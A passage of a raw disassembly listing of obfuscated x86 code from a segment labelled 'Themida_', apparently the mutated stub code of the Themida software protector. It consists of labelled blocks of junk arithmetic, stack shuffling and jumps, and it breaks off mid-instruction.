loc_5558BC: ; CODE XREF: Themida_:005519A8j mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_552312 ; --------------------------------------------------------------------------- loc_5558D9: ; CODE XREF: Themida_:005596F9j push dword ptr [esp] jmp loc_55AE9E ; --------------------------------------------------------------------------- loc_5558E1: ; CODE XREF: Themida_:00558B06j pop esp xchg ebx, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5558F1: ; CODE XREF: Themida_:00555348j mov [esp], ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 push edi mov edi, 27512C78h shl edi, 6 not edi add edi, 0D44B1E05h add ecx, edi jmp loc_54FF50 ; --------------------------------------------------------------------------- loc_55591F: ; CODE XREF: Themida_:00556282j add edx, 376520B4h add edx, ebp sub edx, 376520B4h pop ebp xchg edx, [esp] pop esp push 1EFFh mov [esp], ebp push 1000h push dword ptr [esp] mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55A659 ; --------------------------------------------------------------------------- loc_55595D: ; CODE XREF: Themida_:005524DFj add ebp, 4 add ebp, 4 jmp loc_5551AB ; --------------------------------------------------------------------------- loc_55596E: ; CODE XREF: Themida_:005554D2j pop ecx jmp loc_5519D2 ; --------------------------------------------------------------------------- loc_555974: ; CODE XREF: Themida_:005589ADj add dword ptr [esp], 4D686BAEh pop edi sub edi, 4D686BAEh mov esi, [esp] jmp loc_5580B6 ; --------------------------------------------------------------------------- loc_55598A: ; CODE XREF: Themida_:00556A4Dj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55598F: ; CODE XREF: Themida_:0055670Aj sub eax, esi mov esi, [esp] push edx push esp jmp loc_550319 ; --------------------------------------------------------------------------- loc_55599B: ; CODE XREF: Themida_:00552002j pop ebp jmp loc_55A6B4 ; --------------------------------------------------------------------------- loc_5559A1: ; CODE XREF: Themida_:0055264Bj xor ebp, 13A2350h mov edi, [esp] add esp, 4 inc ebp sub ebp, 0F38C4F5Fh jmp loc_55891E ; --------------------------------------------------------------------------- loc_5559B9: ; CODE XREF: Themida_:005571DAj push edi mov edi, 2BA70095h sub edx, edi mov edi, [esp] add esp, 4 add edx, eax jmp loc_54F086 ; --------------------------------------------------------------------------- loc_5559CE: ; CODE XREF: Themida_:0055835Aj mov ebx, 0EE106B85h sub ecx, ebx jmp loc_55952B ; --------------------------------------------------------------------------- loc_5559DA: ; CODE XREF: Themida_:00557C91j push eax mov eax, 4 jmp loc_5524D4 ; --------------------------------------------------------------------------- loc_5559E5: ; CODE XREF: Themida_:00550ED2j pop eax sub eax, esi pop esi push 1FC6h jmp loc_559C7C ; --------------------------------------------------------------------------- loc_5559F3: ; CODE XREF: Themida_:0054EDB8j push ecx mov ecx, 17880A63h and ecx, 2CCE094Ah shr ecx, 8 shr ecx, 6 inc ecx sub ecx, 121Dh add eax, ecx jmp loc_55208C ; --------------------------------------------------------------------------- loc_555A13: ; CODE XREF: Themida_:00553847j pop esp xor [esp], eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_555A1C: ; CODE XREF: Themida_:0055693Aj pop eax push ebx jmp loc_559F9B ; --------------------------------------------------------------------------- loc_555A23: ; CODE XREF: Themida_:0055A2ABj mov [esp], ebp mov ebp, 4 push eax mov eax, 60796226h add ecx, eax mov eax, [esp] add esp, 4 jmp loc_5579FF ; --------------------------------------------------------------------------- loc_555A3E: ; CODE XREF: Themida_:0055AA93j mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push eax jmp loc_559412 ; --------------------------------------------------------------------------- loc_555A63: ; CODE XREF: Themida_:0054F819j sub dh, 0EDh add dh, ch add dh, 0EDh jmp loc_55906A ; --------------------------------------------------------------------------- loc_555A70: ; CODE XREF: Themida_:00557050j pop esp xor bx, ax movzx eax, ax jmp loc_559DCE ; --------------------------------------------------------------------------- loc_555A7C: ; CODE XREF: Themida_:00550273j sub ebp, ebx pop ebx xchg ebp, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 jmp loc_54FB1F ; --------------------------------------------------------------------------- loc_555A93: ; CODE XREF: Themida_:0054F4D0j push ebx mov ebx, 53CF063Ch mov edi, ebx pop ebx mov edx, 0B3536C22h add edx, edi pop edi add edx, 72E29F6h push ebp mov ebp, 0F1B24C61h sub edx, ebp pop ebp jmp loc_54EDDE ; --------------------------------------------------------------------------- loc_555AB8: ; CODE XREF: Themida_:005545DFj mov ax, [esp] jmp loc_555059 ; --------------------------------------------------------------------------- loc_555AC1: ; CODE XREF: Themida_:005502F5j push esp pop edi push ebp mov ebp, 7A3602A0h jmp loc_55283F ; --------------------------------------------------------------------------- loc_555ACE: ; CODE XREF: Themida_:0054F48Dj push eax mov eax, 2 add ecx, eax pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_555AEC: ; CODE XREF: Themida_:00550719j mov edi, 7B6F2B75h or ecx, edi pop edi push esi mov esi, 7F7F6775h sub ecx, esi jmp loc_559BC0 ; --------------------------------------------------------------------------- loc_555B01: ; CODE XREF: Themida_:005504C2j pop edx jmp loc_5514F5 ; --------------------------------------------------------------------------- loc_555B07: ; CODE XREF: Themida_:00555627j dec dl dec dl push ecx mov ch, 95h shr ch, 8 sub ch, 0A8h sub ch, 9Bh add dl, ch pop ecx mov cl, dl pop edx push ebx jmp loc_553968 ; --------------------------------------------------------------------------- loc_555B23: ; CODE XREF: Themida_:00556D4Fj add ecx, 4 xchg ecx, [esp] mov esp, [esp] loc_555B2F: ; CODE XREF: Themida_:00551BFAj push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5574C5 ; --------------------------------------------------------------------------- loc_555B47: ; CODE XREF: Themida_:00558698j xchg ecx, [esp] jmp loc_557A6F ; --------------------------------------------------------------------------- loc_555B4F: ; CODE XREF: Themida_:005541C0j add ebx, esi pop esi sub ebx, 6DE947CEh pop ecx xor ebx, 138EB421h sub eax, 408E1959h sub eax, ebx push ecx mov ecx, 408E1959h add eax, ecx pop ecx pop ebx jmp loc_556EDA ; --------------------------------------------------------------------------- loc_555B75: ; CODE XREF: Themida_:00551D04j xor ebp, [esp] pop esp div cx jmp loc_5518BB ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp mov edx, [esp] jmp loc_5513CD ; --------------------------------------------------------------------------- loc_555B8F: ; CODE XREF: Themida_:00553203j mov dh, 32h mov al, dh pop edx add al, 85h mov dl, al jmp loc_5549B0 ; --------------------------------------------------------------------------- loc_555B9D: ; CODE XREF: Themida_:00552652j add edx, esi jmp loc_554367 ; --------------------------------------------------------------------------- loc_555BA4: ; CODE XREF: Themida_:00554398j add esi, eax mov eax, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_555BB7: ; CODE XREF: Themida_:0055A0E0j pop esp mov [esp], eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_555BC0: ; CODE XREF: Themida_:00555E89j pop esi jmp loc_550B32 ; --------------------------------------------------------------------------- loc_555BC6: ; CODE XREF: Themida_:005531C3j add edx, 4 xchg edx, [esp] pop esp jmp loc_54F8D9 ; --------------------------------------------------------------------------- loc_555BD2: ; CODE XREF: Themida_:00556EA6j add edx, 0FF591BD9h add ebp, edx pop edx mov eax, ebp mov ebp, [esp] add esp, 4 and ecx, eax pop eax shr ecx, 0Bh jmp loc_55A269 ; --------------------------------------------------------------------------- loc_555BEE: ; CODE XREF: Themida_:00557760j pop dword ptr [esp] jmp loc_558136 ; --------------------------------------------------------------------------- loc_555BF6: ; CODE XREF: Themida_:00557B38j mov [esp], edi mov edi, 4 and ecx, edi jmp loc_55359B ; --------------------------------------------------------------------------- loc_555C05: ; CODE XREF: Themida_:0054EF6Fj sub [esp], edi pop edi push ebx mov ebx, 0F42E90FEh jmp loc_54FD0C ; --------------------------------------------------------------------------- loc_555C14: ; CODE XREF: Themida_:00554C08j mov ch, 0E4h neg ch neg ch shl ch, 6 add ch, 93h sub ch, 0D6h sub ch, 78h jmp loc_55B17C ; --------------------------------------------------------------------------- loc_555C2B: ; CODE XREF: Themida_:005518EDj mov [esp], ebp push edi mov edi, 244A0CDFh push ecx mov ecx, 229A3858h shr ecx, 3 jmp loc_556816 ; --------------------------------------------------------------------------- loc_555C42: ; CODE XREF: Themida_:0054EFCBj sub ax, 0FFE0h add di, ax jmp loc_558508 ; --------------------------------------------------------------------------- loc_555C4E: ; CODE XREF: Themida_:00558205j pop eax jmp loc_55A4C5 ; --------------------------------------------------------------------------- loc_555C54: ; CODE XREF: Themida_:00557AB0j xchg ebp, [esp] pop esp push ebp push ecx push 5A894175h mov ecx, [esp] add esp, 4 push 79C4h mov [esp], ecx not dword ptr [esp] pop ecx dec ecx dec ecx sub ecx, 75F88970h mov ebp, ecx pop ecx push ebp sub dword ptr [esp], 0FFFFFFFFh pop ebp neg ebp shl ebp, 4 neg ebp push ebp jmp loc_55A586 ; --------------------------------------------------------------------------- loc_555C92: ; CODE XREF: Themida_:0054F26Bj mov esp, [esp] push ecx jmp loc_5522B1 ; --------------------------------------------------------------------------- loc_555C9B: ; CODE XREF: Themida_:00551431j add esi, 2ACA6651h sub esi, 6EED2F57h add esi, ebx add esi, 6EED2F57h sub esi, 2ACA6651h pop ebx sub esp, 4 mov [esp], edx jmp loc_54F65B ; --------------------------------------------------------------------------- loc_555CC1: ; CODE XREF: Themida_:0054F966j push ebx mov ebx, 4 jmp loc_5578F4 ; --------------------------------------------------------------------------- loc_555CCC: ; CODE XREF: Themida_:0055241Dj sub esp, 4 mov [esp], eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_5598EF ; --------------------------------------------------------------------------- loc_555D01: ; CODE XREF: Themida_:005570ACj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55751E ; --------------------------------------------------------------------------- loc_555D13: ; CODE XREF: Themida_:0055857Bj add esi, 41C22198h push ecx mov ecx, 0 sub ecx, esi xchg ecx, esi mov ecx, [esp] jmp loc_552069 ; --------------------------------------------------------------------------- loc_555D2B: ; CODE XREF: Themida_:00555D66j pop ebp xchg esi, [esp] mov esp, [esp] add esp, 4 push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_558F18 ; --------------------------------------------------------------------------- loc_555D52: ; CODE XREF: Themida_:0055A3AFj mov esp, [esp] shr eax, 8 jmp loc_551B6B ; --------------------------------------------------------------------------- loc_555D5D: ; CODE XREF: Themida_:0054EA84j mov [esp], ecx jmp loc_55A74A ; --------------------------------------------------------------------------- loc_555D65: ; CODE XREF: Themida_:0055561Fj pop ecx jmp loc_555D2B ; --------------------------------------------------------------------------- loc_555D6B: ; CODE XREF: Themida_:0055843Dj mov ebx, esp jmp loc_5535F3 ; --------------------------------------------------------------------------- loc_555D72: ; CODE XREF: Themida_:0055304Aj add esp, 4 jmp loc_54F4A5 ; --------------------------------------------------------------------------- loc_555D7D: ; CODE XREF: Themida_:00552134j mov ecx, 7B6B018Fh jmp loc_557264 ; --------------------------------------------------------------------------- loc_555D87: ; CODE XREF: Themida_:0054F0A0j xor ebp, 0D2179292h sub edx, ebp pop ebp jmp loc_553BA5 ; --------------------------------------------------------------------------- loc_555D95: ; CODE XREF: Themida_:005500BFj pop edx sub ch, 9Bh sub al, ch jmp loc_552674 ; --------------------------------------------------------------------------- loc_555DA0: ; CODE XREF: Themida_:0054EB7Ej add esp, 4 jmp loc_550045 ; --------------------------------------------------------------------------- loc_555DA8: ; CODE XREF: Themida_:005560DDj sub dword ptr [esp], 2F13D6Bh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 50E84187h shr eax, 6 sub esp, 4 mov [esp], ebx mov ebx, 3C707613h and eax, ebx pop ebx push esi mov esi, 3DD9387Eh push ebp jmp loc_552692 ; --------------------------------------------------------------------------- loc_555DE0: ; CODE XREF: Themida_:0055A9F9j xor esi, 52511B9Dh add ebp, esi push dword ptr [esp] jmp loc_556EF5 ; --------------------------------------------------------------------------- loc_555DF0: ; CODE XREF: Themida_:00554A26j push ebp jmp loc_55278F ; --------------------------------------------------------------------------- loc_555DF6: ; CODE XREF: Themida_:00556256j xchg edi, [esp] pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_555DFF: ; CODE XREF: Themida_:00553E9Ej shl eax, 5 jmp loc_558468 ; --------------------------------------------------------------------------- loc_555E07: ; CODE XREF: Themida_:0055A2E7j mov dl, ah mov eax, [esp] add esp, 4 dec dl shl dl, 5 shr dl, 4 xor dl, 0B9h add dl, 0F8h add al, dl mov edx, [esp] jmp loc_554E6F ; --------------------------------------------------------------------------- loc_555E27: ; CODE XREF: Themida_:00556811j xor edx, 0BAA1960h or edx, 181755Ch add edx, 3CB74273h sub edx, 2D9983F3h sub edi, edx pop edx dec edi jmp loc_558FA3 ; --------------------------------------------------------------------------- loc_555E48: ; CODE XREF: Themida_:00559D4Dj add ebx, 4 jmp loc_550C59 ; --------------------------------------------------------------------------- loc_555E53: ; CODE XREF: Themida_:005506D7j xor eax, edx push dword ptr [esp] jmp loc_55765F ; --------------------------------------------------------------------------- loc_555E5D: ; CODE XREF: Themida_:0055AE0Bj shl edx, 1 jmp loc_550FC3 ; --------------------------------------------------------------------------- loc_555E64: ; CODE XREF: Themida_:0054F713j dec ebp add ebp, 0E8F56F5h or ebp, 1935CE8h sub ebp, 77BFDCD6h mov edx, ebp mov ebp, [esp] add esp, 4 jmp loc_550069 ; --------------------------------------------------------------------------- loc_555E84: ; CODE XREF: Themida_:00556443j push 1DB91861h jmp loc_555BC0 ; --------------------------------------------------------------------------- loc_555E8E: ; CODE XREF: Themida_:00554E39j mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_551B5D ; --------------------------------------------------------------------------- loc_555EA4: ; CODE XREF: Themida_:005509D2j pop ebp jmp loc_55AD00 ; --------------------------------------------------------------------------- loc_555EAA: ; CODE XREF: Themida_:00551D53j add edx, 35E50B5Fh jmp loc_556FFF ; --------------------------------------------------------------------------- loc_555EB5: ; CODE XREF: Themida_:00558D7Aj add esi, 733E2E54h push ebp mov ebp, 2148555Eh dec ebp inc ebp sub ebp, 0A51B04C3h add esi, ebp pop ebp add eax, 3EA07B0Ah jmp loc_555816 ; --------------------------------------------------------------------------- loc_555ED6: ; CODE XREF: Themida_:0055A687j add esp, 4 add ebx, 4 push esi push edx mov edx, 2 mov esi, edx pop edx add ebx, esi mov esi, [esp] push ebp mov ebp, esp jmp loc_55589D ; --------------------------------------------------------------------------- loc_555EF6: ; CODE XREF: Themida_:0055188Ej mov [esp], ecx jmp loc_5570E8 ; --------------------------------------------------------------------------- loc_555EFE: ; CODE XREF: Themida_:00557381j add eax, 423A1BCFh sub eax, ebx sub eax, 423A1BCFh add eax, 5D0B191Dh push esi mov esi, 78742C9Fh dec esi add esi, 33BF0551h xor esi, 0E78F5A57h jmp loc_557B94 ; --------------------------------------------------------------------------- loc_555F27: ; CODE XREF: Themida_:00557819j mov [esp], edx push 63E8h mov [esp], esp jmp loc_550B84 ; --------------------------------------------------------------------------- loc_555F37: ; CODE XREF: Themida_:005527FFj add ebx, 0FEB0872h jmp loc_55677D ; --------------------------------------------------------------------------- loc_555F42: ; CODE XREF: Themida_:0055A4C0j add esi, 2B7E1AAEh xor esi, 0EA1C523h add edi, esi pop esi sub eax, 0CB680Bh add eax, 4B990D11h add eax, edi sub eax, 4B990D11h add eax, 0CB680Bh jmp loc_55418B ; --------------------------------------------------------------------------- loc_555F6C: ; CODE XREF: Themida_:0054FB36j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_557160 ; --------------------------------------------------------------------------- loc_555F7F: ; CODE XREF: Themida_:0054F4F9j xor ebx, 145D01D7h sub ebx, 7EE04EAEh xchg ecx, ebx jmp loc_55A0B7 ; --------------------------------------------------------------------------- loc_555F92: ; CODE XREF: Themida_:00551542j pop dword ptr [edi+24h] jmp loc_559296 ; --------------------------------------------------------------------------- loc_555F9A: ; CODE XREF: Themida_:005513B8j mov [esp], ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_5528EA ; --------------------------------------------------------------------------- loc_555FAC: ; CODE XREF: Themida_:0055ACCCj add ebx, 5E611422h shr ebx, 6 sub ebx, 0E4BE3DC6h jmp loc_552555 ; --------------------------------------------------------------------------- loc_555FC0: ; CODE XREF: Themida_:0055AA66j add ecx, 3813069Fh pop edi sub esp, 4 mov [esp], eax push 6D97h mov [esp], ebp push 6CAE2637h mov ebp, [esp] add esp, 4 sub ebp, 12037A3Ah sub ebp, 0FFFFFFFFh shr ebp, 8 sub esp, 4 mov [esp], edx push ebp push 48E26D70h pop ebp and ebp, 58960518h jmp loc_558600 ; --------------------------------------------------------------------------- loc_55600A: ; CODE XREF: Themida_:00557238j mov [esp], ebx mov ebx, 0 sub ebx, edi xchg ebx, edi jmp loc_55681D ; --------------------------------------------------------------------------- loc_55601B: ; CODE XREF: Themida_:00552300j mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 4858h mov [esp], edx push ebx push 13F10901h mov ebx, [esp] jmp loc_551D61 ; --------------------------------------------------------------------------- loc_556043: ; CODE XREF: Themida_:00550D0Dj pop edx not ebx or ebx, 43AD22CAh sub ebx, 0DFEDB2EAh add ecx, ebx pop ebx jmp loc_55670F ; --------------------------------------------------------------------------- loc_55605A: ; CODE XREF: Themida_:0054F9B5j push esp jmp loc_554B2B ; --------------------------------------------------------------------------- loc_556060: ; CODE XREF: Themida_:0055028Cj sub eax, 6DB33BD9h jmp loc_555317 ; --------------------------------------------------------------------------- loc_55606A: ; CODE XREF: Themida_:005573CFj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55606F: ; CODE XREF: Themida_:0055281Ej sub ebp, 7CE05DA2h sub ebp, 351977D1h add ebp, 15550678h or ebp, 4D953F3Eh jmp loc_553D7B ; --------------------------------------------------------------------------- loc_55608C: ; CODE XREF: Themida_:00556751j add esp, 4 add edi, 4 xchg edi, [esp] pop esp push 23AFh mov [esp], ecx mov ecx, 0B8B3091h and ecx, 1C213059h shl ecx, 8 jmp loc_5572BA ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5560C0: ; CODE XREF: Themida_:0054F31Bj and ebx, 3B985203h jmp loc_554C7F ; --------------------------------------------------------------------------- loc_5560CB: ; CODE XREF: Themida_:00554FDBj mov [esp], eax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5560D3: ; CODE XREF: Themida_:0055833Ej pop ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ebx push eax jmp loc_555DA8 ; --------------------------------------------------------------------------- loc_5560E2: ; CODE XREF: Themida_:00557856j push eax push edi mov edi, 597E5860h sub [esp+4], edi pop edi push dword ptr [esp] pop edx push 4570h mov [esp], edx mov edx, esp add edx, 4 jmp loc_55A63E ; --------------------------------------------------------------------------- loc_556107: ; CODE XREF: Themida_:005568A5j and edi, 2B24533Bh neg edi add edi, 22245227h add eax, edi pop edi xchg eax, [esp] jmp loc_55062C ; --------------------------------------------------------------------------- loc_556120: ; CODE XREF: Themida_:0055A6D1j xchg edi, [esp] pop esp xchg eax, [esp] pop esp test cx, ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_556131: ; CODE XREF: Themida_:005505B8j mov dl, 0C7h inc dl shl dl, 4 and dl, 1Bh sub dl, 0BAh add al, dl pop edx sub al, 0CAh add al, 0F9h jmp loc_552A35 ; --------------------------------------------------------------------------- loc_55614A: ; CODE XREF: Themida_:0054FE75j mov ecx, [esp] add esp, 4 add esp, 4 push 73CAh mov [esp], ebx push esp pop ebx jmp loc_551567 ; --------------------------------------------------------------------------- loc_556165: ; CODE XREF: Themida_:00558D95j add edx, 2AE3661Ch jmp loc_54FCA5 ; --------------------------------------------------------------------------- loc_556170: ; CODE XREF: Themida_:00556A28j sub edx, 3BECBCF9h add ebx, edx jmp loc_554B7F ; --------------------------------------------------------------------------- loc_55617D: ; CODE XREF: Themida_:00554289j mov ebp, esi pop esi sub ebp, 47526A5h neg ebp shl ebp, 8 sub ebp, 238D5BDDh sub ebp, 2B546021h mov edx, ebp jmp loc_5525A3 ; --------------------------------------------------------------------------- loc_55619E: ; CODE XREF: Themida_:005535BFj add bl, dh add bl, 0C4h jmp loc_5542B9 ; --------------------------------------------------------------------------- loc_5561A8: ; CODE XREF: Themida_:00559220j mov edi, esp add edi, 4 jmp loc_55A6CE ; --------------------------------------------------------------------------- loc_5561B5: ; CODE XREF: Themida_:00551FFBj pop esp mov [esp], edi sub esp, 4 jmp loc_553A6D ; --------------------------------------------------------------------------- loc_5561C1: ; CODE XREF: Themida_:0055148Bj add eax, 4 xchg eax, [esp] pop esp push esi jmp loc_54F98F ; --------------------------------------------------------------------------- loc_5561CE: ; CODE XREF: Themida_:0055A713j add esi, edi push edi mov edi, 5FB46343h neg edi jmp loc_55A8F0 ; --------------------------------------------------------------------------- loc_5561DD: ; CODE XREF: Themida_:00551702j mov edi, esi pop esi add edi, 597D2E23h sub edi, 718F5604h jmp loc_559006 ; --------------------------------------------------------------------------- loc_5561F1: ; CODE XREF: Themida_:0055A1B5j mov eax, [esp] add esp, 4 xor eax, 5EDE3BB6h jmp loc_559EA9 ; --------------------------------------------------------------------------- loc_556201: ; CODE XREF: Themida_:0055471Cj add ecx, 2BFE31A8h mov edi, ecx pop ecx shl edi, 1 add edi, 38F51DAAh sub ecx, 3813069Fh jmp loc_55AA64 ; --------------------------------------------------------------------------- loc_55621D: ; CODE XREF: Themida_:0055923Cj mov esi, 7DB548D6h add esi, 7BF6829h dec esi add esi, 0E6515361h add esi, 0A43225ADh add eax, esi jmp loc_5504F0 ; --------------------------------------------------------------------------- loc_55623C: ; CODE XREF: Themida_:00551EF4j pop eax or [edi+1Ch], ecx push dword ptr [esp] pop ecx push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx jmp loc_555DF6 ; --------------------------------------------------------------------------- loc_55625B: ; CODE XREF: Themida_:00552916j mov [esp], edx push 0BA4h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push edi mov edi, 4 add edx, edi pop edi push ebp mov ebp, 4 jmp loc_55591F ; --------------------------------------------------------------------------- loc_556287: ; CODE XREF: Themida_:00554C5Ej sub eax, 572F25EFh jmp loc_55923B ; --------------------------------------------------------------------------- loc_556291: ; CODE XREF: Themida_:00552C67j mov dx, [esp] push eax push esp push dword ptr [esp] pop eax add esp, 4 push ecx mov ecx, 4 jmp loc_556619 ; --------------------------------------------------------------------------- loc_5562AC: ; CODE XREF: Themida_:00550767j mov edi, edx pop edx mov ebp, 402005Dh jmp loc_5554F5 ; --------------------------------------------------------------------------- loc_5562B9: ; CODE XREF: Themida_:0055A1E2j sub eax, edi pop edi push esi sub esp, 4 mov [esp], edx jmp loc_54F718 ; --------------------------------------------------------------------------- loc_5562CB: ; CODE XREF: Themida_:005510E9j add ecx, eax pop eax jmp loc_55755B ; --------------------------------------------------------------------------- loc_5562D3: ; CODE XREF: Themida_:00551861j pop ebx dec esi shr esi, 1 xor esi, 470F7CD4h jmp loc_551ABB ; --------------------------------------------------------------------------- loc_5562E2: ; CODE XREF: Themida_:00550A24j mov bl, ah pop eax xor al, bl mov bx, [esp] push 5060h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], ebp jmp loc_551114 ; --------------------------------------------------------------------------- loc_556303: ; CODE XREF: Themida_:00556E73j xor [esp], ebp xor ebp, [esp] xor [esp], ebp mov eax, [esp] add esp, 4 push ebx jmp loc_54F492 ; --------------------------------------------------------------------------- loc_55631B: ; CODE XREF: Themida_:00550A80j mov esi, 0D2D0AA2h jmp loc_55ABB7 ; --------------------------------------------------------------------------- loc_556325: ; CODE XREF: Themida_:0055443Cj sub ebx, 6AD92921h jmp loc_559560 ; --------------------------------------------------------------------------- loc_556330: ; CODE XREF: Themida_:00551177j mov bh, al mov dl, bh push dword ptr [esp] jmp loc_550557 ; --------------------------------------------------------------------------- loc_55633C: ; CODE XREF: Themida_:00551CAEj shr eax, 10h xor eax, ecx push 773Dh mov [esp], eax not dword ptr [esp] push dword ptr [esp] jmp loc_559195 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55559C ; --------------------------------------------------------------------------- loc_55635D: ; CODE XREF: Themida_:0054EC0Dj xor edi, 4E081A24h xor edx, edi pop edi add edx, 0A96C1AD4h jmp loc_559C35 ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp add eax, 4 jmp loc_55166F ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push 6455h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push edx mov edx, 4 add ebx, edx pop edx push eax push edx mov edx, 6BF169B4h jmp loc_55547A ; --------------------------------------------------------------------------- loc_5563B2: ; CODE XREF: Themida_:0055ADC9j pop eax add ebp, 4 xchg ebp, [esp] jmp loc_5519A5 ; --------------------------------------------------------------------------- loc_5563BE: ; CODE XREF: Themida_:0055109Dj mov [esp], ebx mov ebx, esp jmp loc_559DFC ; --------------------------------------------------------------------------- loc_5563C8: ; CODE XREF: Themida_:005508ABj inc ebp sub ebp, 0D4D493E8h sub edx, 4B5E41BEh push edi mov edi, 0E4214F7h sub edx, edi pop edi push esi jmp loc_559209 ; --------------------------------------------------------------------------- loc_5563E4: ; CODE XREF: Themida_:0054FAF6j mov esi, [esp] add esp, 4 add edi, ecx add edi, 41040E92h sub esp, 4 jmp loc_556AA9 ; --------------------------------------------------------------------------- loc_5563FD: ; CODE XREF: Themida_:005546A1j or ecx, 4EA85953h add ecx, 156042Fh sub edi, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55A0FC ; --------------------------------------------------------------------------- loc_556423: ; CODE XREF: Themida_:00558A01j pop ebp xchg eax, [esp] mov esp, [esp] push 82Ch mov [esp], edx mov edx, 59CF64BBh shl edx, 4 push ebp push 389Bh mov [esp], esi jmp loc_555E84 ; --------------------------------------------------------------------------- loc_556448: ; CODE XREF: Themida_:00557788j pop edi add esp, 4 add edi, 4 push edx jmp loc_55428E ; --------------------------------------------------------------------------- loc_55645B: ; CODE XREF: Themida_:00552550j add esi, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp push edx mov dl, 45h push ecx mov ch, 0E3h sub al, ch jmp loc_557A46 ; --------------------------------------------------------------------------- loc_55647B: ; CODE XREF: Themida_:00557CECj push 4 jmp loc_5589FE ; --------------------------------------------------------------------------- loc_556485: ; CODE XREF: Themida_:00558252j xor ebx, edi pop edi jmp loc_54F9DC ; --------------------------------------------------------------------------- loc_55648D: ; CODE XREF: Themida_:0055AB17j add edx, ecx add edx, 35BE6028h pop ecx add edx, 93F8D2FAh add eax, edx pop edx push 4786h mov [esp], esi mov esi, esp add esi, 4 push ebx mov ebx, 4 sub esi, ebx pop ebx xchg esi, [esp] pop esp mov [esp], edx jmp loc_551C0B ; --------------------------------------------------------------------------- loc_5564C4: ; CODE XREF: Themida_:00554A2Dj sub esp, 4 mov [esp], ebp push ebx push 376A36AAh pop ebx not ebx jmp loc_5594BE ; --------------------------------------------------------------------------- loc_5564DB: ; CODE XREF: Themida_:0054F081j mov esp, [esp] jmp loc_553EA9 ; --------------------------------------------------------------------------- loc_5564E3: ; CODE XREF: Themida_:005503C4j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push 7D3Eh mov [esp], ecx mov ecx, esp push esi mov esi, 228A1DB1h sub esi, 423F171Ch sub esi, 75EE0579h xor esi, 1DF8376Dh xor esi, 0AB1BC0h shr esi, 4 sub esi, 770E2D7h add ecx, esi mov esi, [esp] add esp, 4 push edx jmp loc_550D12 ; --------------------------------------------------------------------------- loc_556544: ; CODE XREF: Themida_:00558D62j mov ebx, 4 sub edx, 14E00245h push ebp mov ebp, 6C56790Ah jmp loc_55A422 ; --------------------------------------------------------------------------- loc_55655A: ; CODE XREF: Themida_:00551933j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push 440E25F0h pop edi push eax mov eax, 430E25F0h sub edi, eax jmp loc_54FFC9 ; --------------------------------------------------------------------------- loc_556580: ; CODE XREF: Themida_:00557CDDj push esi jmp loc_558F92 ; --------------------------------------------------------------------------- loc_556586: ; CODE XREF: Themida_:00556ED5j mov ebp, edx mov edx, [esp] add esp, 4 push 64C4h mov [esp], ebp push 4FEC5E2Eh pop ebp push esi mov esi, 782B5FF4h sub ebp, esi pop esi mov [edi+20h], ebp jmp loc_557BF7 ; --------------------------------------------------------------------------- loc_5565AD: ; CODE XREF: Themida_:00559C17j add dword ptr [esp], 51BC1DE3h pop ecx sub ecx, 51BC1DE3h pop esi or ecx, 605A48DEh sub ecx, 5282F9Fh push eax push ecx jmp loc_558351 ; --------------------------------------------------------------------------- loc_5565CF: ; CODE XREF: Themida_:005571EEj mov esi, 138C7A48h add esi, 1 not esi shl esi, 2 shr esi, 7 inc esi sub esi, 1639C2Ah add eax, esi mov esi, [esp] sub esp, 4 mov 